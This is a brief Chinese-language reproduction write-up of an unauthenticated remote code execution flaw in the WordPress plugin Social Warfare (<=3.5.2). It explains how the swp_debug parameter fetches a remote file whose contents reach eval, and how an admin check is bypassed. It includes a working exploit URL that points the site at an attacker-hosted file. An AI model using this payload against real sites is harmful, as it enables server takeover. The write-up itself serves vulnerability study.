wordpress插件social-warfare<=3.5.2未授权RCE复现
漏洞分析
漏洞成因 参数传入eval时候未进行让任何除害操作
首先debug返回True很简单 我们来看debug函数 两个条件 url传参数等于函数传参
后面file_get_contents对传入url进行处理 这里我们可以构造恶意文件让从来导致option参数受我们的控制
option必须不为空 切初始位置必须以<pre>开头
替换<pre>为空并且提取</pre>之前的内容
以数组的形式返回给eval 从而造成RCE
因此我们构造payload
http://www.zhong.com/wordpress/wp-admin//?swp_debug=load_options&swp_url=http://www.zhong.com/1.txt&love=phpinfo();
按道理说这里第一步进行admin_ture验证是不行的 但是这里
如果未定义admin——ture的值那么设定为Ture 所以逻辑绕过了非admin触发poc
文献参考
https://paper.seebug.org/919/ https://www.4hou.com/
php中文网